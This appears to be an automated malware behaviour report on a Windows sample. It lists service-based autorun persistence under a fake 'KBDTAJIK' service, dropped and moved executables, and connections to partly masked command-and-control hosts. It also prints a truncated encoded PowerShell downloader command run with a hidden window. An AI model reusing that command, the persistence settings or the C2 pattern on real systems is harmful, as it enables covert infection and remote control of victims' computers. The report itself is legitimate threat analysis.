Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\KBDTAJIK] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\KBDTAJIK] 'ImagePath' = '"<SYSTEM32>\wermgr\KBDTAJIK.exe"'
Creates the following services
- 'KBDTAJIK' "<SYSTEM32>\wermgr\KBDTAJIK.exe"
- 'KBDTAJIK' <SYSTEM32>\wermgr\KBDTAJIK.exe
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABLAHgAMQA5ADgAdABjAD0AKAAoACcATABrACcAKwAnAG0AJwApACsAJwA3ACcAKwAoACcAYwAnACsAJwBoAGsAJwApACkAOwAmACgAJwBuACcAKwAnAGUAdwAtAGkAdABlACcAKwAnAG0AJwApACAAJABFAE4AdgA6AHUAUwBFAHIAUABSAE8AZgBpAG...
Modifies file system
Creates the following files
- %HOMEPATH%\lchrk0d\ju3l9ah\cvkwsu7_2.exe
Deletes the following files
- <SYSTEM32>\wermgr\kbdtajik.exe
Moves the following files
- from %HOMEPATH%\lchrk0d\ju3l9ah\cvkwsu7_2.exe to <SYSTEM32>\wermgr\kbdtajik.exe
Network activity
Connects to
- '11#.#10.236.121':8080
- '14#.#02.5.139':443
TCP
HTTP GET requests
- http://mm###ring.de/alt-strato/ENQnQbMFcyz/
HTTP POST requests
- http://14#.##2.5.139:443/w2bf/ via 14#.#02.5.139
UDP
- DNS ASK mm###ring.de
Miscellaneous
Creates and executes the following
- '%HOMEPATH%\lchrk0d\ju3l9ah\cvkwsu7_2.exe'
- '<SYSTEM32>\wermgr\kbdtajik.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABLAHgAMQA5ADgAdABjAD0AKAAoACcATABrACcAKwAnAG0AJwApACsAJwA3ACcAKwAoACcAYwAnACsAJwBoAGsAJwApACkAOwAmACgAJwBuACcAKwAnAGUAdwAtAGkAdABlACcAKwAnAG0AJwApACAAJABFAE4AdgA6AHUAUwBFAHIAUABSAE8AZgBpAG...' (with hidden window)
